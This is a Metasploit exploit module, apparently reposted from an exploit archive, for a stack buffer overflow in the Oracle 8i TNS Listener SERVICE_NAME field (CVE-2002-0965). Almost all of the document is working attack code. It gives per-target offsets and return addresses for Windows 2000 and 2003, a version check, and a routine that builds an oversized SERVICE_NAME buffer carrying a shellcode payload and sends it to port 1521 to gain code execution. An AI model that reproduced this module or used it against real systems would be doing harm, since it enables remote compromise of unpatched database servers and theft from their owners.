Oracle 8i – TNS Listener SERVICE_NAME Buffer Overflow (Metasploit)
## # $Id: tns_service_name.rb 11128 2010-11-24 19:43:49Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::TNS def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle 8i TNS Listener SERVICE_NAME Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Oracle. When sending a specially crafted packet containing a long SERVICE_NAME to the TNS service, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11128 $', 'References' => [ [ 'CVE', '2002-0965'], [ 'OSVDB', '5041'], [ 'BID', '4845'], [ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/02-0013.shtml' ], [ 'URL', 'http://www.oracle.com/technology/deploy/security/pdf/net9_dos_alert.pdf' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)', { 'Offset' => 6396, 'Ret' => 0x60a1e154 } ], [ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)', { 'Offset' => 6392, 'Ret' => 0x60a1e154 }] , ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 27 2002')) register_options([Opt::RPORT(1521)], self.class) end def check connect version = "(CONNECT_DATA=(COMMAND=VERSION))" pkt = tns_packet(version) sock.put(pkt) sock.get_once res = sock.get_once(-1, 1) disconnect if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ ) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect buff = rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V') buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(400) sploit = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=#{rhost}(PORT=#{rport}))(CONNECT_DATA=(SERVICE_NAME=#{buff})(CID=(PROGRAM=MSF))))" pkt = tns_packet(sploit) print_status("Trying target #{target.name}...") sock.put(pkt) handler disconnect end end |